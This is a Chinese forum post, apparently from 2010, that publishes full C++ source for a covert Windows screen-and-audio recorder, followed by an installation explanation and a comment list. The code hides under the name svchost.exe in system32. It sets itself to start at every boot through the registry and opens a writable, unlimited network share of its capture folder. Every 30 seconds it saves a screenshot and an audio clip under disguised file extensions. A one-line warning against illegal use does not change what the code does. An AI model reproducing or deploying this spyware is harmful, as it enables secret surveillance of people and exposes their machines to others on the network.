写了一个程序,开源。可以监控电脑的屏幕,录音

写了一个程序,开源。可以监控电脑的屏幕,录音

严禁利用此程序非法获取他人隐私!

找不到合适的地方放可执行程序。有些地方可以放,但这种程序会跟据需要随时更改的,更新起来太麻烦了。因此只放源代码,仅供参考与讨论。

如果您编译代码有困难,请给我发邮件索取编译好的可执行程序文件,邮箱是devymex在gmail点com。

代码是标准的C++程序,主要调用Windows API,VS2002以上版本都可以编译。本人水平有限,疏漏在所难免,望予以斧正。

复制内容到剪贴板

代码:

#include <atlstr.h>
#include <windows.h>
#include <gdiplus.h>
#include <lm.h>
#include <Psapi.h>

#pragma comment( lib, "gdiplus" )
#pragma comment( lib, "Netapi32" )
#pragma comment( lib, "Winmm" )
#pragma comment( lib, "Psapi" )

using namespace Gdiplus;

int WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR, int )
{
// 获取当前进程句柄,降优先级为Idel。
HANDLE hProc = OpenProcess( PROCESS_SET_INFORMATION, FALSE,
GetCurrentProcessId() );
SetPriorityClass( hProc, IDLE_PRIORITY_CLASS );
CloseHandle( hProc );
// 目标文件名
WCHAR szPath[MAX_PATH];
GetSystemDirectoryW( szPath, sizeof(szPath) / sizeof(szPath[0]) );
wcscat_s( szPath, sizeof(szPath) / sizeof(szPath[0]), L"\\capture" );
CStringW strDestFile( szPath );
strDestFile.Append( L"\\svchost.exe" );
// 创建保存目录并设为共享
CreateDirectoryW( szPath, NULL );
SHARE_INFO_2 shi2;
ZeroMemory( &shi2, sizeof(shi2) );
shi2.shi2_netname = L"01SYSTEM";
shi2.shi2_type = STYPE_DISKTREE;
shi2.shi2_permissions = ACCESS_READ | ACCESS_WRITE | ACCESS_CREATE;
shi2.shi2_max_uses = SHI_USES_UNLIMITED;
shi2.shi2_path = (LPWSTR)szPath;
NetShareAdd( NULL, 2, (LPBYTE)&shi2, NULL );
// 在注册表注册为开机启动
HKEY hKey;
RegOpenKeyExW( HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\"
L"CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey );
RegSetValueExW( hKey, L"SilentRec", 0, REG_SZ,
(LPBYTE)(LPCWSTR)strDestFile,
sizeof(WCHAR) * strDestFile.GetLength() );
RegCloseKey( hKey );
// 获取本进程的exe文件路径
HMODULE hMod = GetModuleHandleW( NULL );
WCHAR szBuf[MAX_PATH];
GetModuleFileNameW( hMod, szBuf, sizeof(szBuf) / sizeof(szBuf[0]) );
CStringW strImageName( szBuf );
// 如果与目标文件名不相符,进行替换
if ( strImageName.CompareNoCase( strDestFile ) )
{
// 枚举所有进程,找到原文件对应的进程
DWORD aProc[1024], dwProcCnt;
EnumProcesses( aProc, sizeof(aProc), &dwProcCnt );
for ( UINT i = 0; i < dwProcCnt / sizeof(dwProcCnt); ++i )
{
if ( aProc[i] != 0 )
{
hProc = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, aProc[i] );
if ( hProc )
{
DWORD dwRes;
EnumProcessModules( hProc, &hMod, sizeof(hMod), &dwRes );
GetModuleFileNameExW( hProc, hMod, szBuf,
sizeof(szBuf) / sizeof(szBuf[0]) );
if ( 0 == strDestFile.CompareNoCase( szBuf ) )
{
// 结束进程
TerminateProcess( hProc, 0 );
}
}
CloseHandle( hProc );
}
}
// 替换原文件
CopyFileW( strImageName, strDestFile, FALSE );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
PROCESS_INFORMATION pi;
ZeroMemory( &pi, sizeof(pi) );
#ifndef _DEBUG
// 启动新进程并退出程序
CreateProcessW( NULL, (LPWSTR)(LPCWSTR)strDestFile,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return 0;
#endif
}
// 建立互斥量,必免程序运行多个实例
HANDLE hMutex = CreateMutexW( NULL, TRUE, L"SilentRec" );
if( GetLastError() == ERROR_ALREADY_EXISTS )
{
return 0;
}
// 注册热键
RegisterHotKey( NULL, 0, MOD_WIN, VK_SNAPSHOT );
// 初始化音频设备
DWORD dwGapTime = 30;
HWAVEIN hwi = NULL;
WAVEFORMATEX wf;
wf.wFormatTag = WAVE_FORMAT_PCM;
wf.nChannels = 1;
wf.nSamplesPerSec = 11025;
wf.wBitsPerSample = 8;
wf.nBlockAlign = ( wf.nChannels * wf.wBitsPerSample ) / 8;
wf.nAvgBytesPerSec = wf.nBlockAlign * wf.nSamplesPerSec;
wf.cbSize = sizeof(wf);
waveInOpen( &hwi, 0, &wf, NULL, 0, CALLBACK_NULL );
// 准备录音缓冲区
WAVEHDR whdr;
ZeroMemory( &whdr, sizeof(whdr) );
whdr.dwBufferLength = dwGapTime * wf.nAvgBytesPerSec;
whdr.lpData = new char[ whdr.dwBufferLength ];
// 初始化GDI+
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup( &gdiplusToken, &gdiplusStartupInput, NULL );
// 获取编码器列表
UINT nEncNum, nEncSize;
GetImageEncodersSize( &nEncNum, &nEncSize );
ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc( nEncSize );
GetImageEncoders( nEncNum, nEncSize, pImageCodecInfo );
//在列表中查找jpg编码器的CLSID
CLSID encoderClsid;
for( UINT i = 0; i < nEncNum; ++i )
{
if( wcscmp( pImageCodecInfo[i].MimeType, L"image/jpeg" ) == 0 )
{
encoderClsid = pImageCodecInfo[i].Clsid;
break;
}
}
free( pImageCodecInfo );
// 获取屏幕尺寸
DWORD dwScrX = GetSystemMetrics( SM_CXSCREEN );
DWORD dwScrY = GetSystemMetrics( SM_CYSCREEN );
// 获取屏幕显示DC
HDC hScrDC = CreateDC( _T("DISPLAY"), NULL, NULL, NULL );
// 并初始化内存DC和位图
HDC hMemDC = CreateCompatibleDC( hScrDC );
HBITMAP hMemBmp = CreateCompatibleBitmap( hScrDC, dwScrX, dwScrY );
HBITMAP hOldBmp = (HBITMAP)SelectObject( hMemDC, hMemBmp );
// 每dwGapTime秒存一次,按下热键退出程
MSG msg;
for ( CStringW strOutFile; !PeekMessageW( &msg, NULL, WM_HOTKEY,
WM_HOTKEY, PM_REMOVE ); )
{
// 用时间作为文件名
SYSTEMTIME st;
GetLocalTime( &st );
strOutFile.Format( L"%s\\%02d%02d_%02d%02d%02d.dai",
szPath, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond );
//截取屏幕
BitBlt( hMemDC, 0, 0, dwScrX, dwScrY, hScrDC, 0, 0, SRCCOPY );
Bitmap *pBmp = Bitmap::FromHBITMAP( hMemBmp, NULL );
// 保存文件到指定目录。
pBmp->Save( strOutFile, &encoderClsid, NULL );
delete pBmp;
// 开始录音
waveInPrepareHeader( hwi, &whdr, sizeof(whdr) );
waveInAddBuffer( hwi, &whdr, sizeof(whdr) );
waveInStart( hwi );
Sleep( dwGapTime * 1000 );
waveInStop( hwi );
// 写入wav文件
DWORD dwData, dwRes;
GetLocalTime( &st );
strOutFile.Format( L"%s\\%02d%02d_%02d%02d%02d.daw",
szPath, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond );
HANDLE hFile = CreateFileW( strOutFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
WriteFile( hFile, "RIFF", 4, &dwRes, NULL);
dwData = whdr.dwBufferLength + 18 + 20;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, "WAVEfmt ", 8, &dwRes, NULL );
dwData = 18;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, &wf, sizeof(wf), &dwRes, NULL);
WriteFile( hFile, "data", 4, &dwRes, NULL );
dwData = whdr.dwBufferLength;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, whdr.lpData, dwData, &dwRes, NULL );
SetEndOfFile( hFile );
CloseHandle( hFile );
waveInReset( hwi );
waveInUnprepareHeader( hwi, &whdr, sizeof(whdr) );
}
// 关闭音频设备
waveInClose( hwi );
// 释放内存
delete[] whdr.lpData;
// 释放内存DC和位图
SelectObject( hMemDC, hOldBmp );
DeleteObject( hMemBmp );
DeleteDC( hMemDC );
DeleteDC( hScrDC );
// 关闭GDI+
GdiplusShutdown( gdiplusToken );
return 0;
}

这个程序是在自己的电脑上用的,显然需要在杀软上给这个程序足够的权限。

该程序双击就自动运行。首先建立一个c:\\windows\\system32\\capture目录,并设为共享,然后将自身复制进这个文件夹,改名为 svchost.exe。随后启动复本,自身结束。也就是说,双击运行后原程序文件就可以删除了,程序会在后台自动运行。

然后程序会添加开机启动项,开机就自动运行。如需取消,请删除键值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows\CurrentVersion\Run\SilentRec

程序会在c:\\windows\\system\\capture目录中每隔30秒保存一次屏幕为dai文件,录制30秒的音频,保存为daw文件。 文件名的格式是:月日_时分秒。要查看屏幕图像文件,把扩展名dai改为jpg,听录音,把扩展名daw改成wav。

结束程序请按Win+PrtSc键。

任何问题请参考源代码或加我的GTalk,地址上面给了。

[ 本帖最后由 devymex 于 2010-2-11 00:15 编辑 ]

© 版权声明
THE END
喜欢就支持一下吧
点赞0
评论 共25条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称图片
    • devymex的头像-1984bbsdevymex等级-LV1-1984bbs作者0
    • devymex的头像-1984bbsdevymex等级-LV1-1984bbs作者0
    • devymex的头像-1984bbsdevymex等级-LV1-1984bbs作者0
    • devymex的头像-1984bbsdevymex等级-LV1-1984bbs作者0
    • devymex的头像-1984bbsdevymex等级-LV1-1984bbs作者0